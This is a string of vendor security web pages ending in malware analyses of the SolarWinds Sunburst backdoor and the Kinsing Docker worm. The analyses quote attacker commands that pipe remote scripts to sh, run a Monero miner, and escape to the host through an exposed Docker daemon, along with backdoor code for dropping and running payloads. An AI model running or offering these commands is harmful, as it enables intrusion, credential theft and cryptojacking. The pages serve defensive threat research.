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Cloud threats are at an all-time high. But not only that, hackers are becoming more sophisticated with cutting-edge tools and new ways to... Cloud Security A Guide to Upskilling Your Cloud Architects & Security Teams in 2023 Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/2/23 Published Cloud threats are at an all-time high. But not only that, hackers are becoming more sophisticated with cutting-edge tools and new ways to attack your systems. Cloud service providers can only do so much. So, most of the responsibility for securing your data and applications will still fall on you. This makes it critical to equip your organization’s cloud architects and security teams with the necessary skills that help them stay ahead of the evolving threat landscape. Although the core qualities of a cloud architect remain the same, upskilling requires them to learn emerging skills in strategy, leadership, operational, and technical areas. Doing this makes your cloud architects and security teams well-rounded to solve complex cloud issues and ensure the successful design of cloud security architecture. Here, we’ll outline the top skills for cloud architects. This can be a guide for upskilling your current security team and hiring new cloud security architects. But besides the emerging skills, what are the core responsibilities of a cloud security architect? Responsibilities of Cloud Security Architects A cloud security architect builds, designs, and deploys security systems and controls for cloud-based computing services and data storage systems. Their responsibilities will likely depend on your organization’s cloud security strategy. Here are some of them: 1. Plan and Manage the Organization’s Cloud Security Architecture and Strategy: Security architects must work with other security team members and employees to ensure the security architecture aligns with your organization’s strategic goals. 2. Select Appropriate Security Tools and Controls: Cloud security architects must understand the capabilities and limitations of cloud security tools and controls and contribute when selecting the appropriate ones. This includes existing enterprise tools with extensibility to cloud environments, cloud-native security controls, and third-party services. They are responsible for designing new security protocols whenever needed and testing them to ensure they work as expected. 3. Determine Areas of Deployments for Security Controls: After selecting the right tools, controls, and measures, architects must also determine where they should be deployed within the cloud security architecture. 4. Participating in Forensic Investigations: Security architects may also participate in digital forensics and incident response during and after events. These investigations can help determine how future incidents can be prevented. 5. Define Design Principles that Govern Cloud Security Decisions: Cloud security architects will outline design principles that will be used to make choices on the security tools and controls to be deployed, where, and from which sources or vendors. 6. Educating employees on data security best practices: Untrained employees can undo the efforts of cloud security architects. So, security architects must educate technical and non-technical employees on the importance of data security. This includes best practices for creating strong passwords, identifying social engineering attacks, and protecting sensitive information. Best Practices for Prioritizing Cloud Security Architecture Skills Like many other organizations, there’s a good chance your company has moved (or is in the process of moving) all or part of its resources to the cloud. This could either be a cloud-first or cloud-only strategy. As such, they must implement strong security measures that protect the enterprise from emerging threats and intrusions. Cloud security architecture is only one of many aspects of cloud security disciplines. And professionals specializing in this field must advance their skillset to make proper selections for security technologies, procedures, and the entire architecture. However, your cloud security architects cannot learn everything. So, you must prioritize and determine the skills that will help them become better architects and deliver effective security architectures for your organization. To do this, you may want to consider the demand and usage of the skill in your organization. Will upskilling them with these skills solve any key challenge or pain point in your organization? You can achieve this by identifying the native security tools key to business requirements, compliance adherence, and how cloud risks can be managed effectively. Additionally, you should consider the relevance of the skill to the current cloud security ecosystem. Can they apply this skill immediately? Does it make them better cloud security architects? Lastly, different cloud deployment (e.g., a public, private, edge, and distributed cloud) or cloud service models (e.g., Infrastructure-as-a-Service (IaaS), Platform-as-a-Service (PaaS), and Software-as-a-Service (SaaS)) bring unique challenges that demand different skillsets. So, you must identify the necessary skills peculiar to each proposed project. Once you have all these figured out, here are some must-have skillsets for cloud security architects. Critical Skills for Cloud Security Architect Cloud security architects need several common skills, like knowledge of programming languages (.NET, PHP, Python, Java, Ruby, etc.), network integration with cloud services, and operating systems (Windows, macOS, and Linux). However, due to the evolving nature of cloud threats, more skills are required. Training your security teams and architects can have more advantages than onboarding new recruits. This is because existing teams are already familiar with your organization’s processes, culture, and values. However, whether you’re hiring new cloud security architects or upskilling your current workforce, here are the most valuable skills to look out for or learn. 1. Experience in cloud deployment models (IaaS, PaaS, and SaaS) It’s important to have cloud architects and security teams that integrate various security components in different cloud deployments for optimal results. They must understand the appropriate security capabilities and patterns for each deployment. This includes adapting to unique security requirements during deployment, combining cloud-native and third-party tools, and understanding the shared responsibility model between the CSP and your organization. 2. Knowledge of cloud security frameworks and standards Cloud security frameworks, standards, and methodologies provide a structured approach to security activities. Interpreting and applying these frameworks and standards is a critical skill for security architects. Some cloud security frameworks and standards include ISO 27001, ISAE 3402, CSA STAR, and CIS benchmarks. Familiarity with regional or industry-specific requirements like HIPAA, CCPA, and PCI DSS can ensure compliance with regulatory requirements. Best practices like the AWS Well-Architected Framework, Microsoft Cloud Security Benchmark, and Microsoft Cybersecurity Reference Architectures are also necessary skills. 3. Understanding of Native Cloud Security Tools and Where to Apply Them Although most CSPs have native tools that streamline your cloud security policies, understanding which tools your organization needs and where is a must-have skill. There are a few reasons why; it’s cost-effective, integrates seamlessly with the respective cloud platform, enhances management and configuration, and aligns with the CSP’s security updates. Still, not all native tools are necessary for your cloud architecture. As native security tools evolve, cloud architects must constantly be ahead by understanding their capabilities. 4. Knowledge of Cloud Identity and Access Management (IAM) Patterns IAM is essential for managing user access and permissions within the cloud environment. Familiarity with IAM patterns ensures proper security controls are in place. Note that popular cloud service providers, like Amazon Web Services, Microsoft Azure, and Google Cloud Platform, may have different processes for implementing IAM. However, the key principles of IAM policies remain. So, your cloud architects must understand how to define appropriate IAM measures for access controls, user identities, authentication techniques like multi-factor authentication (MFA) or single sign-on (SSO), and limiting data exfiltration risks in SaaS apps. 5. Proficiency with Cloud-Native Application Protection Platforms CNAPP is a cloud-native security model that combines the capabilities of Cloud Security Posture Management (CSPM), Cloud Workload Protection Platform (CWPP), and Cloud Service Network Security (CSNS) into a single platform. Cloud solutions like this simplify monitoring, detecting, and mitigating cloud security threats and vulnerabilities. As the nature of threats advances, using CNAPPs like Prevasio can provide comprehensive visibility and security of your cloud assets like Virtual Machines, containers, object storage, etc. CNAPPs enable cloud security architects to enhance risk prioritization by providing valuable insights into Kubernetes stack security configuration through improved assessments. 6. Aligning Your Cloud Security Architecture with Business Requirements It’s necessary to align your cloud security architecture with your business’s strategic goals. Every organization has unique requirements, and your risk tolerance levels will differ. When security architects are equipped to understand how to bridge security architecture and business requirements, they can ensure all security measures and control are calibrated to mitigate risks. This allows you to prioritize security controls, ensures optimal resource allocation, and improves compliance with industry-specific regulatory requirements. 7. Experience with Legacy Information Systems Although cloud adoption is increasing, many organizations have still not moved all their assets to the cloud. At some point, some of your on-premises legacy systems may need to be hosted in a cloud environment. However, legacy information systems’ architecture, technologies, and security mechanisms differ from modern cloud environments. This makes it important to have cloud security architects with experience working with legacy information systems. Their knowledge will help your organization solve any integration challenges when moving to the cloud. It will also help you avoid security vulnerabilities associated with legacy systems and ensure continuity and interoperability (such as data synchronization and maintaining data integrity) between these systems and cloud technologies. 8. Proficiency with Databases, Networks, and Database Management Systems (DBMS) Cloud security architects must also understand how databases and database management systems (DBMS) work. This knowledge allows them to design and implement the right measures that protect data stored within the cloud infrastructure. Proficiency with databases can also help them implement appropriate access controls and authentication measures for securing databases in the cloud. For example, they can enforce role-based access controls (RBAC) within the database environment. 9. Solid Understanding of Cloud DevOps DevOps is increasingly becoming more adopted than traditional software development processes. So, it’s necessary to help your cloud security architects embrace and support DevOps practices. This involves developing skills related to application and infrastructure delivery. They should familiarize themselves with tools that enable integration and automation throughout the software delivery lifecycle. Additionally, architects should understand agile development processes and actively work to ensure that security is seamlessly incorporated into the delivery process. Other crucial skills to consider include cloud risk management for enterprises, understanding business architecture, and approaches to container service security. Conclusion By upskilling your cloud security architects, you’re investing in their personal development and equipping them with skills to navigate the rapidly evolving cloud threat landscape. It allows them to stay ahead of emerging threats, align cloud security practices with your business requirements, and optimize cloud-native security tools. Cutting-edge solutions like Cloud-Native Application Protection Platforms (CNAPPs) are specifically designed to help your organization address the unique challenges of cloud deployments. With Prevasio, your security architects and teams are empowered with automation, application security, native integration, API security testing, and cloud-specific threat mitigation capabilities. Prevasio’s agentless CNAPP provides increased risk visibility and helps your cloud security architects implement best practices. Contact us now to learn more about how our platform can help scale your cloud security. Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

Tsippi Dach, Director of Communications at AlgoSec, explores the relationship between NetOps and SecOps and explains why they are the... DevOps The importance of bridging NetOps and SecOps in network management Tsippi Dach 2 min read Tsippi Dach Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 4/16/21 Published Tsippi Dach, Director of Communications at AlgoSec, explores the relationship between NetOps and SecOps and explains why they are the perfect partnership The IT landscape has changed beyond recognition in the past decade or so. The vast majority of businesses now operate largely in the cloud, which has had a notable impact on their agility and productivity. A recent survey of 1,900 IT and security professionals found that 41 percent or organizations are running more of their workloads in public clouds compared to just one-quarter in 2019. Even businesses that were not digitally mature enough to take full advantage of the cloud will have dramatically altered their strategies in order to support remote working at scale during the COVID-19 pandemic. However, with cloud innovation so high up the boardroom agenda, security is often left lagging behind, creating a vulnerability gap that businesses can little afford in the current heightened risk landscape. The same survey found the leading concern about cloud adoption was network security (58%). Managing organizations’ networks and their security should go hand-in-hand, but, as reflected in the survey, there’s no clear ownership of public cloud security. Responsibility is scattered across SecOps, NOCs and DevOps, and they don’t collaborate in a way that aligns with business interests. We know through experience that this siloed approach hurts security, so what should businesses do about it? How can they bridge the gap between NetOps and SecOps to keep their network assets secure and prevent missteps? Building a case for NetSecOps Today’s digital infrastructure demands the collaboration, perhaps even the convergence, of NetOps and SecOps in order to achieve maximum security and productivity. While the majority of businesses do have open communication channels between the two departments, there is still a large proportion of network and security teams working in isolation. This creates unnecessary friction, which can be problematic for service-based businesses that are trying to deliver the best possible end-user experience. The reality is that NetOps and SecOps share several commonalities. They are both responsible for critical aspects of a business and have to navigate constantly evolving environments, often under extremely restrictive conditions. Agility is particularly important for security teams in order for them to keep pace with emerging technologies, yet deployments are often stalled or abandoned at the implementation phase due to misconfigurations or poor execution. As enterprises continue to deploy software-defined networks and public cloud architecture, security has become even more important to the network team, which is why this convergence needs to happen sooner rather than later. We somehow need to insert the network security element into the NetOps pipeline and seamlessly make it just another step in the process. If we had a way to automatically check whether network connectivity is already enabled as part of the pre-delivery testing phase, that could, at least, save us the heartache of deploying something that will not work. Thankfully, there are tools available that can bring SecOps and NetOps closer together, such as Cisco ACI , Cisco Secure Workload and AlgoSec Security Management Solution . Cisco ACI, for instance, is a tightly coupled policy-driven solution that integrates software and hardware, allowing for greater application agility and data center automation. Cisco Secure Workload (previously known as Tetration), is a micro-segmentation and cloud workload protection platform that offers multi-cloud security based on a zero-trust model. When combined with AlgoSec, Cisco Secure Workload is able to map existing application connectivity and automatically generate and deploy security policies on different network security devices, such as ACI contract, firewalls, routers and cloud security groups. So, while Cisco Secure Workload takes care of enforcing security at each and every endpoint, AlgoSec handles network management. This is NetOps and SecOps convergence in action, allowing for 360-degree oversight of network and security controls for threat detection across entire hybrid and multi-vendor frameworks. While the utopian harmony of NetOps and SecOps may be some way off, using existing tools, processes and platforms to bridge the divide between the two departments can mitigate the ‘silo effect’ resulting in stronger, safer and more resilient operations. We recently hosted a webinar with Doug Hurd from Cisco and Henrik Skovfoged from Conscia discussing how you can bring NetOps and SecOps teams together with Cisco and AlgoSec. You can watch the recorded session here . Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Schedule a call

The Case and Criteria for Application-Centric Security Policy Management Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

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Migrate policies to Cisco ACI with AlgoSec Download PDF Schedule time with one of our experts Schedule time with one of our experts Work email* First name* Last name* Company* country* Select country... Short answer* By submitting this form, I accept AlgoSec's privacy policy Continue

Explore Algosec's customer success stories to see how organizations worldwide improve security, compliance, and efficiency with our solutions. Nationwide Organization Nationwide Industry Financial Services Headquarters Columbus Ohio, USA Download case study Share Customer
success stories AlgoSec delivers an application-centric solution to meet the network security challenges of one of the top financial services firms in the US. To learn more, go to https://algosec.com/ Schedule time with one of our experts

Organizations of all sizes can now protect their cloud-native applications easily and cost-effectively across containers and all other cloud assets AlgoSec acquires Prevasio to disrupt the Agentless Cloud Security market Organizations of all sizes can now protect their cloud-native applications easily and cost-effectively across containers and all other cloud assets December 7, 2022 Speak to one of our experts Ridgefield Park, NJ, December 6, 2022 – AlgoSec, a global cybersecurity leader in securing application connectivity, announced today that it has acquired Prevasio, a SaaS cloud-native application protection platform (CNAPP) that includes an agentless cloud security posture management (CSPM) platform, anti-malware scan, vulnerability assessment and dynamic analysis for containers. As applications rapidly migrate to the Cloud, security teams are being flooded with alerts. These teams are struggling to detect and prioritize risks through Cloud providers’ native security controls, especially in multi-cloud environments. Furthermore, security teams are hard-pressed to find solutions that meet their budgetary restrictions. To answer this need, AlgoSec will offer the Prevasio solution at aggressive pricing to new customers, as well as the existing 1,800 blue chip enterprise organizations they currently serve, allowing them to reduce their cloud security costs. Prevasio’s user-friendly, cost-effective SaaS solution is designed for hardening security posture across all cloud assets, including containers. The solution provides increased visibility into security issues and compliance gaps, enabling the cloud operations and security teams to prioritize risks and comply with CIS benchmarks. Prevasio customers have successfully reduced administration time and achieved operational cost reductions, even across small teams, within days of operationalization. Leveraging patented technology developed by SRI International, one of the world’s largest research institutes and the developer of Siri and many other leading technologies, Prevasio’s key capabilities include: Analysis of all assets across AWS, Azure, and Google Cloud, offering a unified view in a single pane of glass Prioritized risk according to CIS benchmarks, HIPPA and PCI regulations Blazing fast static- and dynamic- agentless vulnerability scanning of containers Assessment and detection of cybersecurity threats Instantaneous connection to AWS, Azure, or Google Cloud accounts without installation or deployment Furthermore, AlgoSec will incorporate SRI artificial intelligence (AI) capabilities into the Prevasio solution. “Applications are the lifeblood of organizations. As such, our customers have an urgent need to effectively secure the connectivity of those applications across cloud and hybrid estates to avoid unpleasant surprises. With Prevasio, organizations can now confidently secure their cloud-native applications to increase organizational agility and harden security posture,” said Yuval Baron, AlgoSec CEO. For a free trial of the Prevasio solution, click here . About AlgoSec AlgoSec, a global cybersecurity leader, empowers organizations to secure application connectivity by automating connectivity flows and security policy, anywhere. The AlgoSec platform enables the world’s most complex organizations to gain visibility, reduce risk, achieve compliance at the application-level and process changes at zero-touch across the hybrid network. AlgoSec’s patented application-centric view of the hybrid network enables business owners, application owners, and information security professionals to talk the same language, so organizations can deliver business applications faster while achieving a heightened security posture. Over 1,800 of the world’s leading organizations trust AlgoSec to help secure their most critical workloads across public cloud, private cloud, containers, and on-premises networks. About Prevasio Prevasio, an AlgoSec company, helps organizations of all sizes protect their cloud-native applications across containers and all other cloud assets. Prevasio’s agentless cloud-native application protection platform (CNAPP) provides increased visibility into security and compliance gaps, enabling the cloud operations and security teams to prioritize risks and ensure compliance with internet security benchmarks. Acquired by AlgoSec in 2022, Prevasio combines cloud-native security with SRI International’s proprietary AI capabilities and AlgoSec’s expertise in securing 1,800 of the world’s most complex organizations.

Update : Next two parts of the analysis are available here and here . As earlier reported by FireEye, the actors behind a global... Cloud Security Sunburst Backdoor: A Deeper Look Into The SolarWinds’ Supply Chain Malware Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 12/15/20 Published Update : Next two parts of the analysis are available here and here . As earlier reported by FireEye, the actors behind a global intrusion campaign have managed to trojanise SolarWinds Orion business software updates in order to distribute malware. The original FireEye write-up already provides a detailed description of this malware. Nevertheless, as the malicious update SolarWinds-Core-v2019.4.5220-Hotfix5.msp was still available for download for hours since the FireEye’s post, it makes sense to have another look into the details of its operation. The purpose of this write-up is to provide new information, not covered in the original write-up. Any overlaps with the original description provided by FireEye are not intentional. For start, the malicious component SolarWinds.Orion.Core.BusinessLayer.dll inside the MSP package is a non-obfuscated .NET assembly. It can easily be reconstructed with a .NET disassembler, such as ILSpy , and then fully reproduced in C# code, using Microsoft Visual Studio. Once reproduced, it can be debugged to better understand how it works. In a nutshell, the malicious DLL is a backdoor. It is loaded into the address space of the legitimate SolarWinds Orion process SolarWinds.BusinessLayerHost.exe or SolarWinds.BusinessLayerHostx64.exe . The critical strings inside the backdoor’s class SolarWinds.Orion.Core.BusinessLayer.OrionImprovementBusinessLayer are encoded with the DeflateStream Class of the .NET’s System.IO.Compression library, coupled with the standard base64 encoder. Initialisation Once loaded, the malware checks if its assembly file was created earlier than 12, 13, or 14 days ago. The exact number of hours it checks is a random number from 288 to 336. Next, it reads the application settings value ReportWatcherRetry . This value keeps the reporting status, and may be set to one of the states: New (4) Truncate (3) Append (5) When the malware runs the first time, its reporting status variable ReportWatcherRetry is set to New (4) . The reporting status is an internal state that drives the logic. For example, if the reporting status is set to Truncate , the malware will stop operating by first disabling its networking communications, and then disabling other security tools and antivirus products. In order to stay silent, the malware periodically falls asleep for a random period of time that varies between 30 minutes and 2 hours. At the start, the malware obtains the computer’s domain name . If the domain name is empty, the malware quits. It then generates a 8-byte User ID, which is derived from the system footprint. In particular, it is generated from MD5 hash of a string that consists from the 3 fields: the first or default operational (can transmit data packets) network interface’s physical address computer’s domain name UUID created by Windows during installation (machine’s unique ID) Even though it looks random, the User ID stays permanent as long as networking configuration and the Windows installation stay the same. Domain Generation Algorithm The malware relies on its own CryptoHelper class to generate a domain name. This class is instantiated from the 8-byte User ID and the computer’s domain name, encoded with a substitution table: “rq3gsalt6u1iyfzop572d49bnx8cvmkewhj” . For example, if the original domain name is “ domain “, its encoded form will look like: “ n2huov “. To generate a new domain, the malware first attempts to resolve domain name “ api.solarwinds.com “. If it fails to resolve it, it quits. The first part of the newly generated domain name is a random string, produced from the 8-byte User ID, a random seed value, and encoded with a custom base64 alphabet “ph2eifo3n5utg1j8d94qrvbmk0sal76c” . Because it is generated from a random seed value, the first part of the newly generated domain name is random. For example, it may look like “ fivu4vjamve5vfrt ” or “ k1sdhtslulgqoagy “. To produce the domain name, this string is then appended with the earlier encoded domain name (such as “ n2huov “) and a random string, selected from the following list: .appsync-api.eu-west-1[.]avsvmcloud[.]com .appsync-api.us-west-2[.]avsvmcloud[.]com .appsync-api.us-east-1[.]avsvmcloud[.]com .appsync-api.us-east-2[.]avsvmcloud[.]com For example, the final domain name may look like: fivu4vjamve5vfrtn2huov[.]appsync-api.us-west-2[.]avsvmcloud[.]com or k1sdhtslulgqoagyn2huov[.]appsync-api.us-east-1[.]avsvmcloud[.]com Next, the domain name is resolved to an IP address, or to a list of IP addresses. For example, it may resolve to 20.140.0.1 . The resolved domain name will be returned into IPAddress structure that will contain an AddressFamily field – a special field that specifies the addressing scheme. If the host name returned in the IPAddress structure is different to the queried domain name, the returned host name will be used as a C2 host name for the backdoor. Otherwise, the malware will check if the resolved IP address matches one of the patterns below, in order to return an ‘address family’: IP Address Subnet Mask ‘Address Family’ 10.0.0.0 255.0.0.0 Atm 172.16.0.0 255.240.0.0 Atm 192.168.0.0 255.255.0.0 Atm 224.0.0.0 240.0.0.0 Atm fc00:: fe00:: Atm fec0:: ffc0:: Atm ff00:: ff00:: Atm 41.84.159.0 255.255.255.0 Ipx 74.114.24.0 255.255.248.0 Ipx 154.118.140.0 255.255.255.0 Ipx 217.163.7.0 255.255.255.0 Ipx 20.140.0.0 255.254.0.0 ImpLink 96.31.172.0 255.255.255.0 ImpLink 131.228.12.0 255.255.252.0 ImpLink 144.86.226.0 255.255.255.0 ImpLink 8.18.144.0 255.255.254.0 NetBios 18.130.0.0 255.255.0.0 NetBios 71.152.53.0 255.255.255.0 NetBios 99.79.0.0 255.255.0.0 NetBios 87.238.80.0 255.255.248.0 NetBios 199.201.117.0 255.255.255.0 NetBios 184.72.0.0 255.254.0.0 NetBios For example, if the queried domain resolves to 20.140.0.1 , it will match the entry in the table 20.140.0.0 , for which the returned ‘address family’ will be ImpLink . The returned ‘address family’ invokes an additional logic in the malware. Disabling Security Tools and Antivirus Products If the returned ‘address family’ is ImpLink or Atm , the malware will enumerate all processes and for each process, it will check if its name matches one of the pre-defined hashes. Next, it repeats this processed for services and for the drivers installed in the system. If a process name or a full path of an installed driver matches one of the pre-defined hashes, the malware will disable it. For hashing, the malware relies on Fowler–Noll–Vo algorithm. For example, the core process of Windows Defender is MsMpEng.exe . The hash value of “ MsMpEng ” string is 5183687599225757871 . This value is specifically enlisted the malware’s source under a variable name timeStamps : timeStamps = new ulong[1] { 5183687599225757871uL } The service name of Windows Defender is windefend – the hash of this string ( 917638920165491138 ) is also present in the malware body. As a result, the malicioius DLL will attempt to stop the Windows Defender service. In order to disable various security tools and antivirus products, the malware first grants itself SeRestorePrivilege and SeTakeOwnershipPrivilege privileges, using the native AdjustTokenPrivileges() API. With these privileges enabled, the malware takes ownership of the service registry keys it intends to manipulate. The new owner of the keys is first attempted to be explicitly set to Administrator account. If such account is not present, the malware enumerates all user accounts, looking for a SID that represents the administrator account. The malware uses Windows Management Instrumentation query “ Select * From Win32_UserAccount ” to obtain the list of all users. For each enumerated user, it makes sure the account is local and then, when it obtains its SID, it makes sure the SID begins with S-1-5- and ends with -500 in order to locate the local administrator account. Once such account is found, it is used as a new owner for the registry keys, responsible for manipulation of the services of various security tools and antivirus products. With the new ownership set, the malware then disables these services by setting their Start value to 4 (Disabled): registryKey2.SetValue(“Start”), 4, RegistryValueKind.DWord); HTTP Backdoor If the returned ‘address family’ for the resolved domain name is NetBios , as specified in the lookup table above, the malware will initialise its HttpHelper class, which implements an HTTP backdoor. The backdoor commands are covered in the FireEye write-up, so let’s check only a couple of commands to see what output they produce. One of the backdoor commands is CollectSystemDescription . As its name suggests, it collects system information. By running the code reconstructed from the malware, here is an actual example of the data collected by the backdoor and delivered to the attacker’s C2 with a separate backdoor command UploadSystemDescription : 1. %DOMAIN_NAME% 2. S-1-5-21-298510922-2159258926-905146427 3. DESKTOP-VL39FPO 4. UserName 5. [E] Microsoft Windows NT 6.2.9200.0 6.2.9200.0 64 6. C:\WINDOWS\system32 7. 0 8. %PROXY_SERVER% Description: Killer Wireless-n/a/ac 1535 Wireless Network Adapter #2 MACAddress: 9C:B6:D0:F6:FF:5D DHCPEnabled: True DHCPServer: 192.168.20.1 DNSHostName: DESKTOP-VL39FPO DNSDomainSuffixSearchOrder: Home DNSServerSearchOrder: 8.8.8.8, 192.168.20.1 IPAddress: 192.168.20.30, fe80::8412:d7a8:57b9:5886 IPSubnet: 255.255.255.0, 64 DefaultIPGateway: 192.168.20.1, fe80::1af1:45ff:feec:a8eb NOTE: Field #7 specifies the number of days (0) since the last system reboot. GetProcessByDescription command will build a list of processes running on a system. This command accepts an optional argument, which is one of the custom process properties enlisted here . If the optional argument is not specified, the backdoor builds a process list that looks like: [ 1720] svchost [ 8184] chrome [ 4732] svchost If the optional argument is specified, the backdoor builds a process list that includes the specified process property in addition to parent process ID, username and domain for the process owner. For example, if the optional argument is specified as “ ExecutablePath “, the GetProcessByDescription command may return a list similar to: [ 3656] sihost.exe C:\WINDOWS\system32\sihost.exe 1720 DESKTOP-VL39FPO\UserName [ 3824] svchost.exe C:\WINDOWS\system32\svchost.exe 992 DESKTOP-VL39FPO\UserName [ 9428] chrome.exe C:\Program Files (x86)\Google\Chrome\Application\chrome.exe 4600 DESKTOP-VL39FPO\UserName Other backdoor commands enable deployment of the 2nd stage malware. For example, the WriteFile command will save the file: using (FileStream fileStream = new FileStream(path, FileMode.Append, FileAccess.Write)) { fileStream.Write(array, 0, array.Length); } The downloaded 2nd stage malware can then the executed with RunTask command: using (Process process = new Process()) { process.StartInfo = new ProcessStartInfo(fileName, arguments) { CreateNoWindow = false, UseShellExecute = false }; if (process.Start()) … Alternatively, it can be configured to be executed with the system restart, using registry manipulation commands, such as SetRegistryValue . Schedule a demo Related Articles Navigating Compliance in the Cloud AlgoSec Cloud Mar 19, 2023 · 2 min read 5 Multi-Cloud Environments Cloud Security Mar 19, 2023 · 2 min read Convergence didn’t fail, compliance did. Mar 19, 2023 · 2 min read Speak to one of our experts Speak to one of our experts Work email* First name* Last name* Company* country* Select country... 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We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an... Cloud Security Kinsing Punk: An Epic Escape From Docker Containers Rony Moshkovich 2 min read Rony Moshkovich Short bio about author here Lorem ipsum dolor sit amet consectetur. Vitae donec tincidunt elementum quam laoreet duis sit enim. Duis mattis velit sit leo diam. Tags Share this article 8/22/20 Published We all remember how a decade ago, Windows password trojans were harvesting credentials that some email or FTP clients kept on disk in an unencrypted form. Network-aware worms were brute-forcing the credentials of weakly-restricted shares to propagate across networks. Some of them were piggy-backing on Windows Task Scheduler to activate remote payloads. Today, it’s déjà vu all over again. Only in the world of Linux. As reported earlier this week by Cado Security, a new fork of Kinsing malware propagates across misconfigured Docker platforms and compromises them with a coinminer. In this analysis, we wanted to break down some of its components and get a closer look into its modus operandi. As it turned out, some of its tricks, such as breaking out of a running Docker container, are quite fascinating. Let’s start from its simplest trick — the credentials grabber. AWS Credentials Grabber If you are using cloud services, chances are you may have used Amazon Web Services (AWS). Once you log in to your AWS Console, create a new IAM user, and configure its type of access to be Programmatic access, the console will provide you with Access key ID and Secret access key of the newly created IAM user. You will then use those credentials to configure the AWS Command Line Interface ( CLI ) with the aws configure command. From that moment on, instead of using the web GUI of your AWS Console, you can achieve the same by using AWS CLI programmatically. There is one little caveat, though. AWS CLI stores your credentials in a clear text file called ~/.aws/credentials . The documentation clearly explains that: The AWS CLI stores sensitive credential information that you specify with aws configure in a local file named credentials, in a folder named .aws in your home directory. That means, your cloud infrastructure is now as secure as your local computer. It was a matter of time for the bad guys to notice such low-hanging fruit, and use it for their profit. As a result, these files are harvested for all users on the compromised host and uploaded to the C2 server. Hosting For hosting, the malware relies on other compromised hosts. For example, dockerupdate[.]anondns[.]net uses an obsolete version of SugarCRM , vulnerable to exploits. The attackers have compromised this server, installed a webshell b374k , and then uploaded several malicious files on it, starting from 11 July 2020. A server at 129[.]211[.]98[.]236 , where the worm hosts its own body, is a vulnerable Docker host. According to Shodan , this server currently hosts a malicious Docker container image system_docker , which is spun with the following parameters: ./nigix –tls-url gulf.moneroocean.stream:20128 -u [MONERO_WALLET] -p x –currency monero –httpd 8080 A history of the executed container images suggests this host has executed multiple malicious scripts under an instance of alpine container image: chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]116[.]62[.]203[.]85:12222/web/xxx.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]106[.]12[.]40[.]198:22222/test/yyy.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:12345/zzz.sh | sh’ chroot /mnt /bin/sh -c ‘iptables -F; chattr -ia /etc/resolv.conf; echo “nameserver 8.8.8.8” > /etc/resolv.conf; curl -m 5 http[://]139[.]9[.]77[.]204:26573/test/zzz.sh | sh’ Docker Lan Pwner A special module called docker lan pwner is responsible for propagating the infection across other Docker hosts. To understand the mechanism behind it, it’s important to remember that a non-protected Docker host effectively acts as a backdoor trojan. Configuring Docker daemon to listen for remote connections is easy. All it requires is one extra entry -H tcp://127.0.0.1:2375 in systemd unit file or daemon.json file. Once configured and restarted, the daemon will expose port 2375 for remote clients: $ sudo netstat -tulpn | grep dockerd tcp 0 0 127.0.0.1:2375 0.0.0.0:* LISTEN 16039/dockerd To attack other hosts, the malware collects network segments for all network interfaces with the help of ip route show command. For example, for an interface with an assigned IP 192.168.20.25 , the IP range of all available hosts on that network could be expressed in CIDR notation as 192.168.20.0/24 . For each collected network segment, it launches masscan tool to probe each IP address from the specified segment, on the following ports: Port Number Service Name Description 2375 docker Docker REST API (plain text) 2376 docker-s Docker REST API (ssl) 2377 swarm RPC interface for Docker Swarm 4243 docker Old Docker REST API (plain text) 4244 docker-basic-auth Authentication for old Docker REST API The scan rate is set to 50,000 packets/second. For example, running masscan tool over the CIDR block 192.168.20.0/24 on port 2375 , may produce an output similar to: $ masscan 192.168.20.0/24 -p2375 –rate=50000 Discovered open port 2375/tcp on 192.168.20.25 From the output above, the malware selects a word at the 6th position, which is the detected IP address. Next, the worm runs zgrab — a banner grabber utility — to send an HTTP request “/v1.16/version” to the selected endpoint. For example, sending such request to a local instance of a Docker daemon results in the following response: Next, it applies grep utility to parse the contents returned by the banner grabber zgrab , making sure the returned JSON file contains either “ApiVersion” or “client version 1.16” string in it. The latest version if Docker daemon will have “ApiVersion” in its banner. Finally, it will apply jq — a command-line JSON processor — to parse the JSON file, extract “ip” field from it, and return it as a string. With all the steps above combined, the worm simply returns a list of IP addresses for the hosts that run Docker daemon, located in the same network segments as the victim. For each returned IP address, it will attempt to connect to the Docker daemon listening on one of the enumerated ports, and instruct it to download and run the specified malicious script: docker -H tcp://[IP_ADDRESS]:[PORT] run –rm -v /:/mnt alpine chroot /mnt /bin/sh -c “curl [MALICIOUS_SCRIPT] | bash; …” The malicious script employed by the worm allows it to execute the code directly on the host, effectively escaping the boundaries imposed by the Docker containers. We’ll get down to this trick in a moment. For now, let’s break down the instructions passed to the Docker daemon. The worm instructs the remote daemon 